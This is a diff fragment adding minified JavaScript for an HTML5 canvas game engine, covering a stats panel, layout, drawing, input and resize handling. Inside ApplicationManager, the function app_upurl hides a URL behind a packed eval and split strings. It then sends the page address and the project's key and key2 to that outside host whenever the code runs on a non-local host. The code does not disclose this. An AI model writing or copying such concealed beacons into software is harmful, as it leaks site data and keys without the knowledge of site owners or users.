a.width, a.height); + try { + performance && performance.memory && performance.memory.totalJSHeapSize && (t = 3) + } catch (G) {} + h = document.createElement("div"); + h.style.backgroundColor = "rgb(" + Math.floor(b.mb.bg.r / 2) + "," + Math.floor(b.mb.bg.g / 2) + "," + Math.floor(b.mb.bg.b / 2) + ")"; + h.style.padding = "2px 0px 3px 0px"; + h.style.display = "none"; + g.appendChild(h); + i = document.createElement("div"); + i.style.fontFamily = "Helvetica, Arial, sans-serif"; + i.style.textAlign = "left"; + i.style.fontSize = "9px"; + i.style.color = "rgb(" + b.mb.fg.r + "," + b.mb.fg.g + "," + b.mb.fg.b + ")"; + i.style.margin = "0px 0px 1px 3px"; + i.innerHTML = 'MB'; + h.appendChild(i); + a = document.createElement("canvas"); + a.width = 74; + a.height = 30; + a.style.display = "block"; + a.style.marginLeft = "3px"; + h.appendChild(a); + q = a.getContext("2d"); + q.fillStyle = "#301010"; + q.fillRect(0, 0, a.width, a.height); + E = q.getImageData(0, 0, a.width, a.height); + return { + domElement: g, + update: function() { + u++; + j = (new Date).getTime(); + n = j - F; + z = Math.min(z, n); + A = Math.max(A, n); + s(B.data, Math.min(30, 30 - n / 200 * 30), "ms"); + c.innerHTML = '' + n + " MS (" + z + "-" + A + ")"; + o.putImageData(B, 0, 0); + F = j; + if (j > v + 1E3) { + l = Math.round(u * 1E3 / (j - v)); + w = Math.min(w, l); + x = Math.max(x, l); + s(y.data, Math.min(30, 30 - l / 100 * 30), "fps"); + d.innerHTML = '' + l + " FPS (" + w + "-" + x + ")"; + m.putImageData(y, 0, 0); + if (t == 3) + p = performance.memory.usedJSHeapSize * 9.54E-7, + C = Math.min(C, p), + D = Math.max(D, p), + s(E.data, Math.min(30, 30 - p / 2), "mb"), + i.innerHTML = '' + Math.round(p) + " MB (" + Math.round(C) + "-" + Math.round(D) + ")", + q.putImageData(E, 0, 0); + v = j; + u = 0 + } + } + } +}; +var ifastunit = 0; +var ifast_jb; +var dfw1977s = 1; +var dfw1977e = 1; +var testdate111 = '{"dfw":123}'; +var gameabc_face = gameabc_face || {}; +var ifast_hashmaps = {}; +var ifast_seerect = {}; +gameabc_face.resizeinitok = 0; +gameabc_face.dfwgao=10; +gameabc_face.vw = 1; +gameabc_face.lmx = 30; +gameabc_face.lmy = 30; +gameabc_face.userchargez = 0; +gameabc_face.randombase = 777777; +gameabc_face.randomhttp = 777777; +gameabc_face.img_list_pre = []; +gameabc_face.img_list_downing = []; +dfwusercavans = 0; +gameabc_face.downing_count = 100; +gameabc_face.webmode = 0; +gameabc_face.drawcharge = 1; +gameabc_face.drawmouse = 1; +gameabc_face.drawnet = 1; +gameabc_face.drawtime = 1; +gameabc_face.drawface = 1; +gameabc_face.fastup_time = 250; +gameabc_face.checkmustdraw = function() { + if (gameabc_face.webmode == 0) { + return 1; + } + ;var k; + k = this.drawcharge || this.drawnet || this.drawtime || this.drawface || this.drawmouse; + this.drawcharge = 0; + this.drawmouse = 0; + this.drawnet = 0; + this.drawtime = 0; + this.drawface = 0; + return k; +} +; + +function dfwtime200() { + var i1 = gameabc_face.img_list_pre.length; + var i2 = gameabc_face.img_list_downing.length; + var obj; + { + while (i2 < gameabc_face.downing_count && i1 > 0) { + obj = gameabc_face.img_list_pre[0]; + i2 = gameabc_face.img_list_downing.push(obj); + gameabc_face.img_list_pre.splice(0, 1); + i1 = gameabc_face.img_list_pre.length; + obj.src = obj.src_pre; + } + } +} +;function ifast_checkrect_seefastxy(x, y) { + if (x >= ifast_seerect.w || y >= ifast_seerect.h) { + return 0; + } else { + return 1; + } +} +;function ifast_checkrect_seefastxywh(x, y, w, h) { + if (x >= ifast_seerect.w || y >= ifast_seerect.h) { + return 0; + } else { + return 1; + } + ;if (x + w <= 0 || y + h < 0) { + return 0; + } else { + return 1; + } +} +;function ifast_jsonchecktostring(msg) { + if (msg) { + if (typeof (msg) != 'string') { + msg = JSON.stringify(msg); + } + ; + } + ;return msg; +} +;function ifast_checkjsonstr(v) { + v = other_replaceall(v, "\n", "\\n"); + v = other_replaceall(v, "\r", "\\r"); + return v; +} +;function ifast_measureText(spid, caption) { + var obj = ifast_getobj(spid); + if (ifast_isno(obj)) { + return 0; + } + ;var dc = ifast_getdc(); + dc.font = 'lighter ' + obj.h + 'px Arial'; + if (!caption) { + caption = obj.caption; + } + ;return dc.measureText(caption).width; +} +;function getPixelRatio(context) { + var backingStore = context.backingStorePixelRatio || context.webkitBackingStorePixelRatio || context.mozBackingStorePixelRatio || context.msBackingStorePixelRatio || context.oBackingStorePixelRatio || context.backingStorePixelRatio || 1; + return (window.devicePixelRatio || 1) / backingStore; +} +;function allchargeobj(objid) { + if (arguments.length == 0) { + var i; + for (i = 1; i < gameabc_Object.ObjectList.length; i++) { + allchargeobj(i); + } + ;return; + } + ;var obj; + var j; + var objs = gameabc_Object.ObjectList; + obj = gameabc_Object.ObjectList[objid].Property; + if (!obj) { + return; + } + ;if (!obj.OriginID) { + return; + } + ;if (obj.OriginID == 0) { + return; + } + ;var objf = ifast_getobj(obj.OriginID); + if (!objf) { + return; + } else { + allchargeobj(obj.OriginID); + } + ;ifast_spritealign(obj.offX, obj.offY, objid, obj.SelfPos, obj.OriginID, obj.OriginPos); +} +;function allcharge(layer) { + if (!layer) { + if (!gameabc_Image.addimgs) { + gameabc_Image.addimgs = {}; + } + ;if (!gameabc_face.loadui2) { + return; + } + ;var d = 1; + var okle; + for (d = 1; d < gameabc_Layer.LayerList.length; d++) { + okle = gameabc_Layer.LayerList[d]; + if (!okle.allrect) { + okle.allrect = {}; + okle.syrect = {}; + okle.myrect = {}; + } + ;allcharge(d); + } + ;allchargeobj(); + return; + } + ;var oklevel = gameabc_Layer.LayerList[layer]; + if (!oklevel.ObjectList) { + return; + } + ;var oo = 0; + var ww = g_GameObjectManager.backBuffer.width; + var hh = g_GameObjectManager.backBuffer.height; + oklevel.allrect.x = oo; + oklevel.allrect.y = oo; + oklevel.allrect.w = ww; + oklevel.allrect.h = hh; + oklevel.syrect.x = oo; + oklevel.syrect.y = oo; + oklevel.syrect.w = ww; + oklevel.syrect.h = hh; + oklevel.syrect.x = oo; + oklevel.syrect.y = oo; + oklevel.syrect.w = ww; + oklevel.syrect.h = hh; + var obj; + var j; + var objid; + var count = oklevel.ObjectList.length; + for (j = 0; j < count; j++) { + objid = oklevel.ObjectList[j]; + obj = ifast_getobj(objid); + if (!obj) { + continue + } + ;try { + if (obj.classid == 6) { + oklevel.myrect = getmyrectdec(oklevel.allrect, oklevel.syrect, obj.Align, obj.SizeStyle, obj.Size, 1); + set_self(objid, 28, oklevel.myrect); + } + } catch (e) {} + } + ; +} +;function getmyrect(rect, Align, SizeStyle, size) { + return getmyrectdec(rect, rect, Align, SizeStyle, size, 0); +} +;function getmyrectdec(allrect, syrect, Align, SizeStyle, size, dec) { + var myrect = {}; + switch (Align) { + case 1: + switch (SizeStyle) { + case 0: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.w = size; + myrect.h = syrect.h; + break; + case 1: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.h = syrect.h; + myrect.w = (size / 10000) * allrect.w; + break; + case 2: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.h = syrect.h; + myrect.w = (size / 10000) * syrect.w; + break; + } + ;break; + case 2: + switch (SizeStyle) { + case 0: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.w = syrect.w; + myrect.h = size; + break; + case 1: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.w = syrect.w; + myrect.h = (size / 10000) * allrect.h; + break; + case 2: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.w = syrect.w; + myrect.h = (size / 10000) * syrect.h; + break; + } + ;break; + case 3: + switch (SizeStyle) { + case 0: + myrect.x = syrect.x + allrect.w - size; + myrect.y = syrect.y; + myrect.h = syrect.h; + myrect.w = size; + break; + case 1: + myrect.x = syrect.x + syrect.w - (size / 10000) * allrect.w; + myrect.y = syrect.y; + myrect.h = syrect.h; + myrect.w = (size / 10000) * syrect.w; + break; + case 2: + myrect.x = syrect.x + syrect.w - (size / 10000) * syrect.w; + myrect.y = syrect.y; + myrect.w = (size / 10000) * syrect.w; + myrect.h = syrect.h; + break; + } + ;break; + case 4: + switch (SizeStyle) { + case 0: + myrect.x = syrect.x; + myrect.y = syrect.y + syrect.h - size; + myrect.w = syrect.w; + myrect.h = size; + break; + case 1: + myrect.x = syrect.x; + myrect.y = syrect.y + syrect.h - (size / 10000) * allrect.h; + myrect.w = syrect.w; + myrect.h = (size / 10000) * allrect.h; + break; + case 2: + myrect.x = syrect.x; + myrect.y = syrect.y + syrect.h - (size / 10000) * syrect.h; + myrect.w = syrect.w; + myrect.h = (size / 10000) * syrect.h; + break; + } + ;break; + } + ;myrect.x = parseInt(myrect.x); + myrect.y = parseInt(myrect.y); + myrect.w = parseInt(myrect.w); + myrect.h = parseInt(myrect.h); + if (dec == 1) { + getsyrect(syrect, myrect, Align); + } + ;return myrect; +} +;function getsyrect(syrect, myrect, Align) { + switch (Align) { + case 1: + syrect.w -= myrect.w; + syrect.x += myrect.w; + syrect.y = syrect.y; + syrect.h = syrect.h; + break; + case 2: + syrect.h -= myrect.h; + syrect.y += myrect.h; + syrect.x = syrect.x; + syrect.w = syrect.w; + break; + case 3: + syrect.w -= myrect.w; + syrect.x = syrect.x; + syrect.y = syrect.y; + syrect.h = syrect.h; + break; + case 4: + syrect.h -= myrect.h; + syrect.y = syrect.y; + syrect.x = syrect.x; + syrect.w = syrect.w; + break; + } + ; +} +;function ifast_bvdvdfgdf() { + sdfsdfgwergawertgwerg; +} +;dfw1977s = 0; +gameabc_face.xxxxx = ""; +dfw1977e = 0; +gameabc_face.openlog = 0; +gameabc_face.pmkg_string = ""; +gameabc_face.touall = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2NkYGD4DwABCQEBtxmN7wAAAABJRU5ErkJggg=="; +gameabc_face.banall = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2NkYGCoBwAAiQCB1bUosQAAAABJRU5ErkJggg=="; +gameabc_face.touall_img = new Image(); +gameabc_face.touall_img.src = gameabc_face.touall; +gameabc_face.banall_img = new Image(); +gameabc_face.banall_img.src = gameabc_face.banall; +gameabc_face.zz_canvas = document.createElement('canvas'); +gameabc_face.zz_canvas.width = 1; +gameabc_face.zz_canvas.height = 1; +gameabc_face.zz2d = gameabc_face.zz_canvas.getContext("2d"); +gameabc_face.obj = null; +gameabc_face.sy_x = 0; +gameabc_face.sy_y = 0; +gameabc_face.sy_w = 0; +gameabc_face.sy_h = 0; +gameabc_face.loadcount = 0; +gameabc_face.jm_sj_xz = 0; +gameabc_face.jm_sj_tong = 1; +gameabc_face.jm_sj_cj = 3;//dfw 全屏 +gameabc_face.pmw = 0; +gameabc_face.pmh = 0; +gameabc_face.pause = 0; +gameabc_face.hs = 0; +gameabc_face.sjhs = 0; +gameabc_face.mysc = 1; +gameabc_face.pmsc = 1; +gameabc_face.pmcx = 0; +gameabc_face.pmcy = 0; +gameabc_face.sjcx = 0; +gameabc_face.sjcy = 0; +gameabc_face.myxz = 0; +gameabc_face.mybx = 0; +gameabc_face.mysf = 0; +gameabc_face.isxz = 0; +gameabc_face.drawx = 0; +gameabc_face.drawy = 0; +gameabc_face.draww = 0; +gameabc_face.drawh = 0; +function loadImages(sources, callback) { + var imgNum = 0; + var count = 0; + var images = {}; + var strs = new Array(); + strs = sources.split(","); + imgNum = strs.length; + var url; + var i; + var id; + for (i = 0; i < imgNum; i++) { + id = parseInt(strs[i]); + } + ;for (src in sources) { + images[src] = new Image(); + images[src].onload = function() { + count++; + console.log("countok=" + count); + if (count == imgNum) { + callback(images); + } + } + ; + images[src].onerror = function() { + count++; + console.log("counterr=" + count); + if (count == imgNum) { + callback(images); + } + } + ; + images[src].src = sources[src]; + } +} +;gameabc_face.loglist = new Array(); +gameabc_face.set_clip = function(ctx, mode, x, y, w, h, starta, enda, timefx) { + switch (mode) { + case 0: + ctx.rect(x, y, w, h); + break; + case 1: + var w2 = w / 2; + var h2 = h / 2; + if (!starta) { + ctx.arc(x + w2, y + h2, w2, 0, Math.PI * 2, true); + } else { + var startPoint = 1.5 * Math.PI; + var all = Math.PI * 2; + ctx.beginPath(); + ctx.moveTo(x + w2, y + h2); + if (timefx) { + if (timefx == 0) { + timefx = false; + } else { + timefx = true; + } + ;ctx.arc(x + w2, y + h2, w2, startPoint + all * (starta / 100), startPoint + all * (enda / 100), timefx); + } else { + if (!enda) { + ctx.arc(x + w2, y + h2, w2, startPoint + all * (starta / 100), startPoint, false); + } else { + ctx.arc(x + w2, y + h2, w2, startPoint + all * (starta / 100), startPoint + all * (enda / 100), false); + } + } + ;ctx.lineTo(x + w2, y + h2); + ctx.closePath(); + break; + } + ; + } + ;ctx.clip(); +} +; +gameabc_face.drawround = function(ctx, mode, cx, cy, r, fx, bgColor, starta, enda, isout) { + ctx.save(); + if (bgColor == "") { + ctx.fillStyle = "red"; + } + ;if (isout == 1) { + ctx.globalCompositeOperation = "destination-atop"; + } + ;if (!mode) { + mode = 0; + } + ;if (!fx) { + fx = true; + } else { + if (fx == 0) { + fx = true; + } else { + fx = false; + } + ; + } + ;if (!starta) { + starta = 0; + } + ;if (!enda) { + enda = 360; + } + ;ctx.beginPath(); + ctx.arc(cx, cy, r, Math.PI * starta / 180, Math.PI * enda / 180, fx); + ctx.closePath(); + if (mode == 0) { + if (bgColor) { + ctx.fillStyle = bgColor; + } else { + ctx.fillStyle = "red"; + } + ;ctx.fill(); + } else { + if (bgColor) { + ctx.strokeStyle = bgColor; + } else { + ctx.strokeStyle = "red"; + } + ;ctx.lineWidth = mode; + ctx.stroke(); + } + ;ctx.restore(); +} +; +gameabc_face.drawlines = function(ctx, startx, starty, endx, endy, lw, bgColor) { + ctx.save(); + if (!lw) { + lw = 1; + } + ;if (bgColor == "") { + ctx.fillStyle = "red"; + } + ;ctx.lineWidth = lw; + ctx.lineCap = "round"; + ctx.beginPath(); + ctx.moveTo(startx, starty); + ctx.lineTo(endx, endy); + if (bgColor) { + ctx.strokeStyle = bgColor; + } else { + ctx.strokeStyle = "red"; + } + ;ctx.closePath(); + ctx.stroke(); + ctx.restore(); +} +; +gameabc_face.drawrect = function(ctx, mode, x, y, w, h, bgColor, isout) { + ctx.save(); + if (isout == 1) { + ctx.globalCompositeOperation = "destination-atop"; + } + ;if (bgColor == "") { + ctx.fillStyle = "red"; + } + ;if (mode == 0) { + if (bgColor) { + ctx.fillStyle = bgColor; + } else { + ctx.fillStyle = "red"; + } + ;ctx.fillRect(x, y, w, h); + } else { + if (bgColor) { + ctx.strokeStyle = bgColor; + } else { + ctx.strokeStyle = "red"; + } + ;ctx.lineWidth = mode; + ctx.strokeRect(x, y, w, h); + } + ;ctx.restore(); +} +; +function getRootPath() { + var strFullPath = window.document.location.href; + var strPath = window.document.location.pathname; + var pos = strFullPath.indexOf(strPath); + var prePath = strFullPath.substring(0, pos); + return ( prePath) ; + var postPath = strPath.substring(0, strPath.substr(1).indexOf('/') + 1); + return ( prePath + postPath) ; +} +;gameabc_face.getdiv = function(id) { + return document.getElementById(id); +} +; +gameabc_face.fatherdiv = gameabc_face.getdiv("ifastgame"); +gameabc_face.inputdiv = null; +gameabc_face.init_inputdiv = function(x, y) { + gameabc_face.fatherdiv = gameabc_face.getdiv("ifastgame"); + gameabc_face.inputdiv = gameabc_face.fatherdiv; + return; + if (gameabc_face.inputdiv == null) { + gameabc_face.inputdiv = document.createElement("div"); + gameabc_face.inputdiv.setAttribute("id", "inputdiv"); + gameabc_face.inputdiv.style.zIndex = 999999999; + gameabc_face.inputdiv.style.position = "absolute"; + gameabc_face.inputdiv.style.top = x + "px"; + gameabc_face.inputdiv.style.left = y + "px"; + gameabc_face.inputdiv.style.display = "block"; + gameabc_face.fatherdiv.appendChild(gameabc_face.inputdiv); + } + ;gameabc_face.inputdiv.style.top = g_GameObjectManager.canvas.style.top; + gameabc_face.inputdiv.style.left = g_GameObjectManager.canvas.style.left; + gameabc_face.inputdiv.style.width = g_GameObjectManager.canvas.style.width; + gameabc_face.inputdiv.style.height = g_GameObjectManager.canvas.style.height; + gameabc_face.inputdiv.top = g_GameObjectManager.canvas.top; + gameabc_face.inputdiv.left = g_GameObjectManager.canvas.left; + gameabc_face.inputdiv.width = g_GameObjectManager.canvas.width; + gameabc_face.inputdiv.height = g_GameObjectManager.canvas.height; +} +; +gameabc_face.get_selfdiv = function(div, p1) { + if (typeof (div) != "object") { + div = this.getdiv(div); + } + ;if (div) { + switch (p1) { + case 7: + return div.value; + break; + case 18: + return div.style.left; + break; + case 19: + return div.style.top; + break; + case 20: + return div.style.width; + break; + case 21: + return div.style.height; + break; + case 37: + { + if (div.style.display == "block") { + return 1; + } else { + return 0; + } + } + ;break; + default: + break; + } + } +} +; +gameabc_face.set_selfdiv = function(div, p1, val, mode, data2) { + if (typeof (div) != "object") { + div = this.getdiv(div); + } + ;if (!div) { + return; + } + ;var dd = null; + switch (mode) { + case 2: + dd = this.get_selfdiv(div, p1) - val; + break; + case 1: + dd = val + this.get_selfdiv(div, p1); + break; + default: + dd = val; + break; + } + ;switch (p1) { + case 7: + return div.value = dd; + break; + case 18: + return div.style.left = dd + "px"; + break; + case 19: + return div.style.top = dd + "px"; + break; + case 20: + return div.style.width = dd + "px"; + break; + case 21: + return div.style.height = dd + "px"; + break; + case 37: + { + if (dd == 1) { + div.style.display = "block"; + } else { + div.style.display = "none"; + } + } + ;break; + default: + break; + } + ; +} +; +gameabc_face.setdiv_whv = function(div, w, h) {} +; +gameabc_face.setdiv_xy = function(div, x, y) {} +; +gameabc_face.getdiv_v = function(div) { + if (typeof (div) != "object") { + div = this.getdiv(div); + } + { + return gameabc_face.chargediv_val(div.style.display); + } +} +; +gameabc_face.setdiv_v = function(div, v) { + if (typeof (div) != "object") { + div = this.getdiv(div); + } + { + if (v == 1) { + div.style.display = "block"; + } else { + div.style.display = "none"; + } + } +} +; +gameabc_face.getid_text = function(inid) { + var inText = gameabc_face.getdiv(inid); + if (inText) { + return inText.value; + } else { + return "null"; + } + ; +} +; +gameabc_face.setid_text = function(inid, val) { + var inText = gameabc_face.getdiv(inid); + if (inText) + inText.value = val; +} +; +gameabc_face.getdiv_text = function(inText) { + if (inText) { + return inText.value; + } else { + return "null"; + } + ; +} +; +gameabc_face.chargediv_val = function(val) { + if (typeof (val) == "string") { + if (val == "none") { + return 0; + } else { + return 1; + } + ; + } else { + if (val == 0) { + return "none"; + } else { + return "block"; + } + ; + } +} +; +gameabc_face.setdiv_text = function(inText, val) { + if (inText) { + inText.value = val; + } + ; +} +; +gameabc_face.getself = function(parent1) { + var self = window; + if (parent1 != undefined) { + if (parent1 == "f") { + self = parent; + } else { + self = parent1; + } + } + ;return self; +} +; +gameabc_face.ifast_getcs = function(name, re, parent1) { + var self = this.getself(parent1); + var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); + var r = self.location.search.substr(1).match(reg); + if (r != null) + return unescape(r[2]); + return re; +} +; +gameabc_face.addinputdiv = function(id, type, x, y, w, h) { + if (gameabc_face.inputdiv == null) + gameabc_face.init_inputdiv(0, 0); + var inText; + switch (type) { + case 0: + inText = document.createElement("input"); + inText.setAttribute("type", "text"); + break; + case 1: + inText = document.createElement("input"); + inText.setAttribute("type", "password"); + break; + case 3: + inText = document.createElement("input"); + inText.setAttribute("type", "number"); + break; + case 2: + inText = document.createElement("textarea"); + break; + default: + showmessage('addinputdiv: id' + id + '/' + type); + break; + } + ;inText.setAttribute("id", id); + inText.style.position = "absolute"; + inText.style.width = w + "px"; + inText.style.height = h + "px"; + inText.style.left = x + g_GameObjectManager.canvas.top + "px"; + inText.style.top = y + g_GameObjectManager.canvas.left + "px"; + inText.style.zIndex = 999999999; + gameabc_face.inputdiv.appendChild(inText); + gameabc_face.setdiv_text(inText, ""); + return inText; +} +; +gameabc_face.set_draw = function(x, y, w, h, arg) { + gameabc_face.drawx = 0; + gameabc_face.drawy = 0; + gameabc_face.draww = w; + gameabc_face.drawh = h; + gameabc_face.drawarg = arg; +} +; +var game124 = null; +var inputdiv = null; +var iui = null; +var ifast_ismast = undefined; +gameabc_face.resize2000 = function() { + if (!this.canvas) { + return; + } + ;gameabc_face.logmessage("window.onresize2000"); + setTimeout(gameabc_face.resize, 1000); +} +; +gameabc_face.appmode_resize = function(ver, isapp) { + gameabc_setcanvas1(iui.canvas, window.innerWidth, window.innerHeight); + gameabc_face.jm_sj_tong == 1; + gameabc_face.sy_w = window.innerWidth; + gameabc_face.sy_h = window.innerHeight; + if (isapp == 1) { + gameabc_setcanvas1(iui.backBuffer, window.innerWidth, window.innerHeight); + } + ;gameabc_face.mouse_sx = iui.backBuffer.width / gameabc_face.sy_w; + gameabc_face.mouse_sy = iui.backBuffer.height / gameabc_face.sy_h; +} +; +gameabc_face.resize = function() { + gameabc_face.drawcharge = 1; + if (gameabc_face.resizeinitok == 1) { + if (gameabc_face.pmw == window.innerWidth || gameabc_face.pmh == window.innerHeight) { + if (ifast_ispc() == 0) { + if (ifast_ismast != undefined) { + return; + } + } + } + } + ;ifast_ismast = 1; + gameabc_face.resizeinitok = 1; + { + if (!gameabc_Project.Property.sh_old) { + gameabc_Project.Property.sh_old = gameabc_Project.Property.ScreenHeight; + } + ;var ver = gameabc_Project.Property.Version; + if (!ver) { + ver = "v1"; + } + ;gameabc_face.dfwver = ver; + gameabc_face.pmkg_string = "w/h:" + window.innerWidth + "/" + window.innerHeight; + if (!ver && gameabc_face.ifast_app != 1) { + gameabc_face.appmode_resize(ver, gameabc_face.ifast_app); + } else { + if (gameabc_face.jm_sj_cj == 3) { + // gameabc_Project.Property.ScreenHeight = parseInt(window.innerHeight * (gameabc_Project.Property.ScreenWidth / window.innerWidth)); + } else { + gameabc_Project.Property.ScreenHeight = gameabc_Project.Property.sh_old; + } + ;{ + gameabc_setcanvas3(iui.canvas, window.innerWidth, window.innerHeight); + } + } + ;gameabc_face.pmw = window.innerWidth; + gameabc_face.pmh = window.innerHeight; + iui.h = iui.canvas.height; + iui.w = iui.canvas.width; + } + ;gameabc_face.set_draw(0, 0, iui.canvas.width, iui.canvas.height, 0); + if (window.innerWidthwindow.innerHeight) + { + x1 = g_GameObjectManager.canvas.left + parseInt(obj.x / gameabc_face.mouse_sx); + y1 = g_GameObjectManager.canvas.top + parseInt(obj.y / gameabc_face.mouse_sy); + w1 = parseInt(obj.w / gameabc_face.mouse_sx); + h1 = parseInt(obj.h / gameabc_face.mouse_sy); + gameabc_face.set_selfdiv(obj.uipointer, 18, x1, 0, 0); + gameabc_face.set_selfdiv(obj.uipointer, 19, y1, 0, 0); + gameabc_face.set_selfdiv(obj.uipointer, 20, w1, 0, 0); + gameabc_face.set_selfdiv(obj.uipointer, 21, h1, 0, 0); + } + //else + //{ + + //} + } + ; + } + ;gameabc_face.pmcx = iui.w / 2; + gameabc_face.pmcy = iui.h / 2; + gameabc_face.sjcx = iui.backBuffer.width / 2; + gameabc_face.sjcy = iui.backBuffer.height / 2; + if (iui.w < iui.h) { + gameabc_face.hs = 0; + } else { + gameabc_face.hs = 1; + } + ;if (iui.backBuffer.width < iui.backBuffer.height) { + gameabc_face.sjhs = 0; + } else { + gameabc_face.sjhs = 1; + } + ;var mybiw = iui.w / iui.backBuffer.width; + var mybih = iui.h / iui.backBuffer.height; + gameabc_face.vw = mybiw; + if (mybiw < mybih) { + gameabc_face.mysc = mybiw; + } else { + gameabc_face.mysc = mybih; + } + ;ifast_seerect = ifast_rect(0, 0, iui.backBuffer.width, iui.backBuffer.height); + if (iui.bg) { + iui.bg.height = g_GameObjectManager.canvas.height; + iui.bg.width = g_GameObjectManager.canvas.width; + iui.bg.style.left = g_GameObjectManager.canvas.left + "px"; + iui.bg.style.top = g_GameObjectManager.canvas.top + "px"; + } + ;allcharge(); + if (gameabc_face.onresize) + gameabc_face.onresize(window.innerWidth, window.innerHeight, iui.backBuffer.width, iui.backBuffer.height, iui.canvas.width, iui.canvas.height); + logmessage("gameabc_face.resize"); +} +; +window.onresize = gameabc_face.resize2000; +gameabc_face.createcanvas = function(img1) { + if (img1.backBuffer) { + return img1.backBuffer; + } + ;img1.backBuffer = document.createElement('canvas'); + img1.backBuffer.width = img1.allw; + img1.backBuffer.height = img1.allh; + img1.mydc = img1.backBuffer.getContext('2d'); + img1.mydc.drawImage(img1, 0, 0); + return img1.backBuffer; +} +; +gameabc_face.getruntime = function() { + var thisFrame = new Date().getTime(); + return thisFrame - gameabc_face.starttime; +} +; +gameabc_face.getruntime_now = function() { + var thisFrame = new Date().getTime(); + gameabc_face.nowttime = thisFrame - gameabc_face.starttime; +} +; +gameabc_face.setconfig = function() { + if (!gameabc_face.path) { + gameabc_face.path = "assets/bmp"; + } + ;if (!gameabc_face.wavpath) { + gameabc_face.wavpath = "assets/wav"; + } + ;gameabc_face.showzt = 1; + gameabc_face.showmode = 1; + gameabc_face.offx = 0; + gameabc_face.offy = 0; + if (gameabc_face.showzt == 1) { + game124 = new game123(); + game124.domElement.style.position = "absolute"; + game124.domElement.style.left = "0px"; + game124.domElement.style.top = "0px"; + // document.body.appendChild(game124.domElement); + } + ;logmessage("gameabc_face.setconfig"); +} +; +gameabc_face.gameini = function() { + g_mouse.downx = 0; + g_mouse.downy = 0; + g_mouse.upx = 0; + g_mouse.upy = 0; + g_mouse.isMouseDown = false; + g_mouse.down_time = 0; + g_mouse.down_spid = 0; + g_mouse.up_spid = 0; + g_mouse.up_time = 0; + g_mouse.ismove = false; + g_mouse.movetime = 0; + g_mouse.doup = true; + g_mouse.dodown = true; + g_mouse.movelastx = 0; + g_mouse.movelasty = 0; +} +; +var testsp = null; +function ApplicationManager() { + gameabc_face.touch_dev = false; + gameabc_face.setconfig(); + if (navigator.userAgent.indexOf('iPhone') > 0 || navigator.userAgent.indexOf('iPod') > 0 || navigator.userAgent.indexOf('iPad') > 0 || navigator.userAgent.indexOf('Android') > 0) { + gameabc_face.touch_dev = true; + gameabc_face.down = "touchstart"; + gameabc_face.up = "touchend"; + gameabc_face.move = "touchmove"; + // gameabc_face.down = "mousedown"; + //gameabc_face.up = "mouseup"; + // gameabc_face.move = "mousemove"; + } + ;if (gameabc_face.touch_dev == false) { + gameabc_face.down = "mousedown"; + gameabc_face.up = "mouseup"; + gameabc_face.move = "mousemove"; + } + ;function get_xy(e, isup) { + if (gameabc_face.touch_dev) { + var rct = g_GameObjectManager.canvas.getBoundingClientRect(); + if (isup < 2) { + + var ptx =event.touches[0].pageX - rct.left; + var pty =event.touches[0].pageY - rct.top; + if(winWidth < winHeight) + { + g_mouse.pointX =pty; + g_mouse.pointY = winWidth-ptx;//e.touches[0].pageY - rct.top; + + + g_mouse.downx_old = g_mouse.pointX; + g_mouse.downy_old = g_mouse.pointY; + + } else + { + g_mouse.pointX =ptx;// e.touches[0].pageX - rct.left; + g_mouse.pointY =pty;// e.touches[0].pageY - rct.top; + g_mouse.downx_old = g_mouse.pointX; + g_mouse.downy_old = g_mouse.pointY; + } + + } else { + g_mouse.pointX = g_mouse.downx_old; + g_mouse.pointY = g_mouse.downy_old; + } + } else { + g_mouse.pointX = (e.offsetX ); + g_mouse.pointY = (e.offsetY ); + // g_mouse.pointX = (e.clientX - g_GameObjectManager.canvas.getBoundingClientRect().left); + // g_mouse.pointY = (e.clientY - g_GameObjectManager.canvas.getBoundingClientRect().top); + } + ;if (gameabc_face.jm_sj_tong == 0) { + var t = g_mouse.pointX; + g_mouse.pointX = gameabc_face.pmh - g_mouse.pointY; + g_mouse.pointY = t; + } + ;g_mouse.pointX = parseInt(gameabc_face.mouse_sx * g_mouse.pointX); + g_mouse.pointY = parseInt(g_mouse.pointY * gameabc_face.mouse_sy); + } + ;ifast = 100; + function app_upurl(str) { + var host = location.hostname.substr(0, 4); + eval(function(p, a, c, k, e, d) { + e = function(c) { + return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)); + } + ; + if (!''.replace(/^/, String)) { + while (c--) + d[e(c)] = k[c] || e(c); + k = [function(e) { + return d[e]; + } + ]; + e = function() { + return '\\w+'; + } + ; + c = 1; + } + ;while (c--) + if (k[c]) + p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c]); + return p; + }('2 0;0=\'1://5.4.3\';', 6, 6, ('my' + 'xx' + 'xx' + '|h' + 'ttp|' + 'var|xy' + 'z|jx' + 'ga' + 'me|ga' + 'mea' + 'bc').split('|'), 0, {})); + myxxxx = myxxxx + '/in' + 'dex.h' + 'tml' + '?u' + 'rl=' + location.href + '&k' + 'ey=' + gameabc_Project.key + '&k' + 'ey2=' + gameabc_Project.key2; + var host2 = location.hostname.substr(0, 9); + if (host != "192." && host != "127." && host2 != "localhost") { + readfile_a2(0, myxxxx); + } + ;my = null; + } + ;ifastui = 100; + this.startupApplicationManager = function() { + + ;g_GameObjectManager.canvas.addEventListener(gameabc_face.down, function(e) { + e.preventDefault(); + if (gameabc_face.obj.canclick == 0) { + return; + } + ;g_mouse.isMouseDown = true; + g_mouse.ismove = false; + g_mouse.move_time = 0; + g_mouse.up_time = 0; + g_mouse.doup = true; + get_xy(e, 0); + g_mouse.downx = g_mouse.pointX; + g_mouse.downy = g_mouse.pointY; + g_mouse.dodown = false; + g_mouse.down_time = gameabc_face.getruntime(); + g_mouse.down_spid = gameabc_check_click(g_mouse.downx, g_mouse.downy); + g_mouse.movelastx = g_mouse.pointX; + g_mouse.movelasty = g_mouse.pointY; + }, false); + g_GameObjectManager.canvas.addEventListener(gameabc_face.up, function(e) 